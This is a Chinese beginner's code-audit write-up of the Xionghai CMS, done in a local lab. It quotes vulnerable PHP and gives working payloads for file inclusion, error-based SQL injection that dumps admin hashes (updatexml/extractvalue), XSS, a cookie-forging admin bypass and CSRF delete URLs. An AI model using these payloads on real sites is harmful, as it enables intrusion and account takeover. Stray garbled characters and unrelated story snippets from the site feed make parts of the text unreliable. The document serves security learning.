適合新手代碼審計之熊海cms

image.png

一、前言

簡單了解了一下夏醉,審計入門爽锥,熊海比較適合,因為是簡單的cms畔柔,適合入門氯夷。

二、審計環(huán)境

使用小皮面板靶擦,新建網(wǎng)站

image
image

三腮考、審計過程

先了解文件目錄

image
admin         --管理后臺文件夾
css           --存放css的文件夾
files         --存放頁面的文件夾
images        --存放圖片的文件夾
inc           --存放網(wǎng)站配置文件的文件夾
install       --網(wǎng)站進(jìn)行安裝的文件夾
seacmseditor  --編輯器文件夾
template      --模板文件夾
upload        --上傳功能文件夾
index.php     --網(wǎng)站首頁

先把網(wǎng)站源碼放到seay里面,自動審計一下玄捕。

image

可以看到踩蔚,可疑漏洞挺多的,然后對比著代碼進(jìn)行一一核實

文件包含漏洞

**index.php**

<?php
//單一入口模式
error_reporting(0); //關(guān)閉錯誤顯示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判斷為空或者等于index
include('files/'.$action.'.php'); //載入相應(yīng)文件
?>

GET傳值r枚粘,用函數(shù)addslashes轉(zhuǎn)義我們傳入的值馅闽,防止命令執(zhí)行,但是這顯然是不夠的,這里對文件包含漏洞是沒有用任何限制的捞蛋。
這里可以直接包含到files文件夾下的文件孝冒,但是也可以通過目錄穿越柬姚,包含到根目錄拟杉。
我們在files文件夾下新建一個phpinfo.php

<?php phpinfo();?>
payload:
?r=phpinfo //包含files文件夾下的phpinfo()
?r=../phpinfo  //包含根目錄的phpinfo()
image

第二處 /admin/index.php也是同理 同樣的代碼,同樣的包含量承。

【所有資源搬设,點擊查看】
1、網(wǎng)絡(luò)安全學(xué)習(xí)路線
2撕捍、電子書籍(白帽子)
3拿穴、安全大廠內(nèi)部視頻
4、100份src文檔
5忧风、常見安全面試題
6默色、ctf大賽經(jīng)典題目解析
7、全套工具包
8狮腿、應(yīng)急響應(yīng)筆記

SQL注入漏洞

SQL注入一般存在于登錄框這里腿宰,我們直接看后臺登陸框的源碼**admin/files/login.php**
后臺注入

<?php 
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('抱歉,用戶名或者密碼錯誤缘厢。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉吃度,用戶名或者密碼錯誤。');history.back();</Script>";
exit;   
    }
?>

大致看了看代碼:
user和password接受我們POST傳值贴硫,沒有任何過濾椿每,直接插入到查詢語句中。先在數(shù)據(jù)庫中查詢user是否存在英遭,如果不存在就報錯间护,而且mysql_error()是開著的,可以報錯注入挖诸,如果user存在的話就對我們的傳入的password進(jìn)行md5散列和數(shù)據(jù)庫中的password進(jìn)行比較汁尺,如果相等,則登陸成功税灌。
經(jīng)過一番分析均函,存在報錯注入,萬能密碼無法登錄菱涤,因為對password進(jìn)行md5散列苞也,與數(shù)據(jù)庫中進(jìn)行對比。
漏洞復(fù)現(xiàn):
正常的報錯注入
1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #

image

確實存在
將兩段得到的MD5的值拼起來進(jìn)行MD5
爆破即可得出password明文粘秆,之后查詢user
1' or updatexml(1,concat((select concat(0x7e,user) from manage)),0) #

image

即可進(jìn)行登錄如迟。
然后我們查看別處
**/admin/files/softlist**

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM download WHERE id='$delete'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
echo "<script>alert('親,ID為".$delete."的內(nèi)容已經(jīng)成功刪除!');location.href='?r=softlist'</script>";
exit; 
}

依舊是開了mysql_error()且無過濾殷勘,注入同上
**/admin/files/editlink.php**

$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$link = mysql_fetch_array($resul);

類型同上此再,不再贅述。
發(fā)現(xiàn)玲销,好像這個cms涉及sql的均未過濾且可進(jìn)行報錯注入输拇。這可能就是這個cms適合審計小白的原因了吧
以為這個cms的SQL注入到此結(jié)束了,后來看了大佬的資料贤斜,發(fā)現(xiàn)還有兩處特別之處策吠,值得一提(對于審計小白)。

**/files/software.php**
前臺注入

$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$download = mysql_fetch_array($resul);

這里面引用了函數(shù)addslashes進(jìn)行過濾
關(guān)于addslashes

函數(shù)addslashes()作用是返回在預(yù)定義字符之前添加反斜杠的字符串瘩绒。預(yù)定義字符是單引號(')雙引號(")反斜杠(\)NULL猴抹。

在官網(wǎng)中有這樣的注釋

默認(rèn)情況下,PHP 指令 magic_quotes_gpc 為 on锁荔,對所有的 GET蟀给、POST 和 COOKIE 數(shù)據(jù)自動運行 addslashes()。不要對已經(jīng)被 magic_quotes_gpc 轉(zhuǎn)義過的字符串使用 addslashes()阳堕,因為這樣會導(dǎo)致雙層轉(zhuǎn)義跋理。遇到這種情況時可以使用函數(shù) get_magic_quotes_gpc() 進(jìn)行檢測。

因為這里被GET傳值就已經(jīng)默認(rèn)運行addslashes()嘱丢,所以再次使用addslashes()就不起作用了薪介,所以依舊還是可以進(jìn)行報錯注入。
payload:
?r=content&cid=1%20or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))

image

** /install/index.php **
安裝流程存在SQL注入 越驻,代碼如下

$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
@mysql_query($query) or die('修改錯誤:'.mysql_error());
echo "管理信息已經(jīng)成功寫入!

";

沒有過濾汁政,mysql_error()開著,依舊可以考慮報錯注入缀旁。
參閱大佬的文章
首先要對InstallLock.txt文件鎖進(jìn)行刪除
重新安裝的時候在user處報錯注入
payload;
1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#

image
image

這個cms的SQL注入就到此結(jié)束了

XSS漏洞

反射型XSS

**/files/contact.php**

$page=addslashes($_GET['page']); //59行
<?php echo $page?> //139行

payload:
<img src=1 onerror=alert(/xss/)>

image

當(dāng)然還有許多的反射型XSS记劈,這里就不一一列舉了,根上面這個并巍,基本大差不差目木。

存儲型XSS

**/admin/files/manageinfo.php**

$save=$_POST['save'];

$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];

if ($save==1){


if ($user==""){
echo "<script>alert('抱歉,帳號不能為空懊渡。');history.back()</script>";
exit;
    }

if ($name==""){
echo "<script>alert('抱歉刽射,名稱不能為空。');history.back()</script>";
exit;
    }
if ($password<>$password2){
echo "<script>alert('抱歉剃执,兩次密碼輸入不一致誓禁!');history.back()</script>";
exit;
    }

//處理圖片上傳
if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判斷接收數(shù)據(jù)是否為空
{
        $tmp = new FileUpload_Single;
        $upload="../upload/touxiang";//圖片上傳的目錄,這里是當(dāng)前目錄下的upload目錄肾档,可自已修改
        $tmp -> accessPath =$upload;
        if ( $tmp -> TODO() )
        {
            $filename=$tmp -> newFileName;//生成的文件名
            $filename=$upload.'/'.$filename;
            $imgsms="及圖片";

        }       
}
}

if ($filename<>""){
$images="img='$filename',"; 
}

if ($password<>""){
$password=md5($password);
$password="password='$password',";
}

$query = "UPDATE manage SET 
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
@mysql_query($query) or die('修改錯誤:'.mysql_error());
echo "<script>alert('親愛的摹恰,資料".$imgsms."設(shè)置已成功更新辫继!');location.href='?r=manageinfo'</script>"; 
exit;
}
?>

POST傳參,但是無任何過濾俗慈,直接根數(shù)據(jù)庫進(jìn)行交互姑宽,存在存儲型XSS
payload:
<img src=1 onerror=alert(/xss/)>

image

垂直越權(quán)

**inc/checklogin.php**

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;   
}
?>

如果COOKIE中user為空,跳轉(zhuǎn)到登陸窗闺阱。這種就是最簡單的垂直越權(quán)炮车。
我們訪問http://www.xionghai.com/admin/index.php抓包查看,這種情況馏颂,COOKIE中無user參數(shù)

image
image

當(dāng)我們修改COOKIE值后

image

越權(quán)就成功了示血,我們就可以訪問管理頁面了。

CSRF漏洞

舉例
/admin/files/wzlist.php

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
echo "<script>alert('親救拉,ID為".$delete."的內(nèi)容已經(jīng)成功刪除!');location.href='?r=wzlist'</script>";
exit;

可以看見是沒有任何驗證的
然后我們進(jìn)行一下delete操作

image

然后抓包看一下

image

其payload
www.xionghai.com/admin/?r=wzlist&delete=18
然后我們換個瀏覽器瘫拣,來訪問這個payload亿絮,并且抓包,在Cookie處麸拄,添加user的值為admin

image

可以發(fā)現(xiàn)CSRF攻擊成功

image

**admin/files/softlist.php**
依舊存在CSRF派昧,做法同上。

四拢切、總結(jié)

到此蒂萎,這個cms的審計就差不多結(jié)束了』匆總的來看五慈,因為這個cms是個人開發(fā)的,并且很長時間沒有更新過主穗,審計過程中泻拦,基本上所有的漏洞都沒有過濾。這也許就是它適合我這種小白的原因吧忽媒。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末争拐,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子晦雨,更是在濱河造成了極大的恐慌架曹,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,311評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件闹瞧,死亡現(xiàn)場離奇詭異绑雄,居然都是意外死亡,警方通過查閱死者的電腦和手機夹抗,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,339評論 2 382
  • 文/潘曉璐 我一進(jìn)店門绳慎,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事杏愤∶移觯” “怎么了?”我有些...
    開封第一講書人閱讀 152,671評論 0 342
  • 文/不壞的土叔 我叫張陵珊楼,是天一觀的道長通殃。 經(jīng)常有香客問我,道長厕宗,這世上最難降的妖魔是什么画舌? 我笑而不...
    開封第一講書人閱讀 55,252評論 1 279
  • 正文 為了忘掉前任,我火速辦了婚禮已慢,結(jié)果婚禮上曲聂,老公的妹妹穿的比我還像新娘。我一直安慰自己佑惠,他們只是感情好朋腋,可當(dāng)我...
    茶點故事閱讀 64,253評論 5 371
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著膜楷,像睡著了一般旭咽。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上赌厅,一...
    開封第一講書人閱讀 49,031評論 1 285
  • 那天穷绵,我揣著相機與錄音,去河邊找鬼特愿。 笑死仲墨,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的洽议。 我是一名探鬼主播宗收,決...
    沈念sama閱讀 38,340評論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼亚兄!你這毒婦竟也來了混稽?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 36,973評論 0 259
  • 序言:老撾萬榮一對情侶失蹤审胚,失蹤者是張志新(化名)和其女友劉穎匈勋,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體膳叨,經(jīng)...
    沈念sama閱讀 43,466評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡洽洁,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,937評論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了菲嘴。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片饿自。...
    茶點故事閱讀 38,039評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡汰翠,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出昭雌,到底是詐尸還是另有隱情复唤,我是刑警寧澤,帶...
    沈念sama閱讀 33,701評論 4 323
  • 正文 年R本政府宣布烛卧,位于F島的核電站佛纫,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏总放。R本人自食惡果不足惜呈宇,卻給世界環(huán)境...
    茶點故事閱讀 39,254評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望局雄。 院中可真熱鬧甥啄,春花似錦、人聲如沸哎榴。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,259評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽尚蝌。三九已至,卻和暖如春充尉,著一層夾襖步出監(jiān)牢的瞬間飘言,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評論 1 262
  • 我被黑心中介騙來泰國打工驼侠, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留姿鸿,地道東北人。 一個月前我還...
    沈念sama閱讀 45,497評論 2 354
  • 正文 我出身青樓倒源,卻偏偏與公主長得像苛预,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子笋熬,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,786評論 2 345

推薦閱讀更多精彩內(nèi)容